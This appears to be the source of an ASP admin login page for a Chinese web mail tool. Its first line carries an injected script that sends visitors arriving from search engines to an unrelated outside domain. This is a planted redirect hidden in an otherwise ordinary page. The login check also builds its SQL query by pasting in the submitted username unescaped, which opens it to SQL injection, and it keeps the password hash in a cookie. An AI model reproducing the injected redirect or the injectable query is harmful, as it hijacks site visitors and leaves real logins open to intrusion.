d:\wwwroot\wuchunhua\sendmail\mail_login.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="const.asp" -->
002:
<!--#include file="inc/md5.asp" -->
003:
<%
004:
Response.Buffer = True
005:
Response.Expires = -1
006:
Response.ExpiresAbsolute = Now() - 1
007:
Response.Expires = 0
008:
Response.CacheControl = "no-cache"
009:
010:
action=trim(request("action"))
011:
if action="logout" then
012:
Session(CacheName &"AdminName") = Empty
013:
Response.Cookies(CacheName &"Admin")("AdminName")= Empty
014:
Session(CacheName &"AdminName") = Empty
015:
Response.Cookies(CacheName &"Admin")("AdminPassword")= Empty
016:
Response.Redirect "mail_login.asp"
017:
end if
018:
019:
if action="loginchk" then '登陆验证
020:
OpenConn
021:
if CheckMake=False then Alert "你提交的路径有误,禁止从站点外部提交数据请不要乱加参数!","./"
022:
adminname=GetForm("adminname")
023:
adminpwd=GetForm("adminpwd")
024:
checkcode=GetForm("checkcode")
025:
026:
if adminname="" then Alert "请输入登陆用户名!","back"
027:
if adminpwd="" then Alert "请输入登陆密码!","back"
028:
if checkcode="" then Alert "请输入安全码!","back"
029:
030:
if session("CheckCode")="" then Alert "验证码已经过期,请重新登录。","?"
031:
if Lcase(checkcode)<>LCase(CStr(session("CheckCode"))) then Alert "您输入的附加码和系统产生的不一致,请重新输入。","?"
032:
session("CheckCode")=""
033:
if GetCookies("Admin","Login_ErrNum")="" then call SetCookies("Admin","Login_ErrNum",0)
034:
if GetCookies("Admin","Login_ErrNum")>5 then
035:
Alert "登陆多次失败,系统禁止你提交登陆并记录下您的登陆信息!","?"
036:
Netlog adminname,"用户登陆尝试5次失败,尝试密码:"&password
037:
End if
038:
adminpwd=md5(adminpwd,32)
039:
set rs=conn.execute("select id,Admin_State from [vn_manager] where password='"& adminpwd &"' and username='"& adminname &"'")
040:
if rs.eof then
041:
rs.close
042:
set rs=nothing
043:
SetCookies "Admin","Login_ErrNum", GetCookies("Admin","Login_ErrNum")+1
044:
Alert "您输入的用户名或密码不正确!","?"
045:
else
046:
If rs("Admin_State")="1" Then Alert "你的登陆账户处于锁定状态,系统不允许登陆!","?"
047:
conn.execute("update [vn_manager] set LoginTimes=LoginTimes+1 where id="& rs("id") &"")
048:
SetCookies "Admin","AdminName",adminname '建立session cookies
049:
SetCookies "Admin","AdminPassword",adminpwd
050:
rs.close
051:
set rs=Nothing
052:
053:
conn.execute("delete From [vn_log] where LogTime<"& SqlNowString &"-7")
054:
Netlog adminname,"成功登陆系统"
055:
CloseConn
056:
Response.Redirect "mail_index.asp"
057:
end if
058:
end if
059:
%
>
060:
<html>
061:
<head>
062:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
063:
<LINK href="inc/style.css" type=text/css rel=stylesheet>
064:
<script language="javascript" src="inc/js.js"></script>
065:
<title>
<%
=SysInfo(0)
%
></title>
066:
<script language="javascript">
067:
function FormCheck(theForm){
068:
if(!checkEmpty(theForm.adminname,"请输入登陆用户名!")) return false;
069:
if(!checkEmpty(theForm.adminpwd,"请输入登陆密码!")) return false;
070:
if(!checkEmpty(theForm.checkcode,"请输入安全码!")) return false;
071:
return true;
072:
}
073:
</script>
074:
<style type="text/css">
075:
body{background-color:#002779;}
076:
.input {
077:
BORDER: #000000 1px solid;FONT-FAMILY: "宋体"; BACKGROUND-COLOR: #ffffff;
078:
}
079:
</style>
080:
</head>
081:
<body onLoad="loginform.adminname.focus();">
082:
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
083:
<tr>
084:
<td align="center" style="padding-bottom:100px;"><table width="460" border="0" cellspacing="0" cellpadding="0">
085:
<tr>
086:
<td><img src="images/login_1.jpg" width="190" height="23"></td>
087:
</tr>
088:
</table>
089:
<table width="460" border="0" cellspacing="0" cellpadding="0">
090:
<tr>
091:
<td><img src="images/login_2.jpg" width="460" height="142"></td>
092:
</tr>
093:
</table>
094:
<table width="460" border="0" cellspacing="0" cellpadding="0">
095:
<TR>
096:
<TD bgColor="#eeeeee" height="6"> </TD>
097:
</TR>
098:
</TABLE>
099:
<table width="460" border="0" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF">
100:
<tr>
101:
<td align="center" style="padding-top:15px;"><table width="300" border="0" cellspacing="0" cellpadding="0">
102:
<form name="loginform" method="post" action="?action=loginchk" onSubmit="return FormCheck(this);">
103:
<tr>
104:
<td width="35%" height="30" align="right"><strong>用户名:</strong></td>
105:
<td><INPUT style="width:150px;" class="input" maxLength="20" type="text" name="adminname" autocomplete="off"></td>
106:
</tr>
107:
<tr>
108:
<td height="30" align="right"><strong>密 码:</strong></td>
109:
<td><INPUT style="width:150px;" class="input" maxLength="20" type="password" name="adminpwd" autocomplete="off"></td>
110:
</tr>
111:
<tr>
112:
<td height="30" align="right"><strong>安全码:</strong></td>
113:
<td><INPUT style="width:40px;" class="input" maxLength="20" type="text" name="checkcode" autocomplete="off">
114:
<script type="text/javascript">document.write("<img align='absmiddle' src='Inc/VerifyCode.asp?",Math.random(),"' style='cursor:pointer;' alt='请输入图片验证码' onClick=\"this.src='inc/VerifyCode.asp'\">")</script></td>
115:
</tr>
116:
<tr>
117:
<td colspan="2" align="center" height="40">
118:
<input type="submit" name="Submit" value=" 提 交 " class="input">
119:
<input type="reset" name="Submit" value=" 重 置 " class="input"></td>
120:
</tr>
121:
</form>
122:
</table></td>
123:
</tr>
124:
</table>
125:
<TABLE cellSpacing="0" cellPadding="0" width="460" bgColor="#ffffff" border="0">
126:
<TR>
127:
<TD><IMG height="10" src="images/login_3.gif" width="10"></TD>
128:
<TD align=right><IMG height="10" src="IMAGES/login_4.gif" width="10"></TD>
129:
</TR>
130:
</TABLE>
131:
</td>
132:
</tr>
133:
</table>
134:
</body>
135:
</html>
136:
137:
138: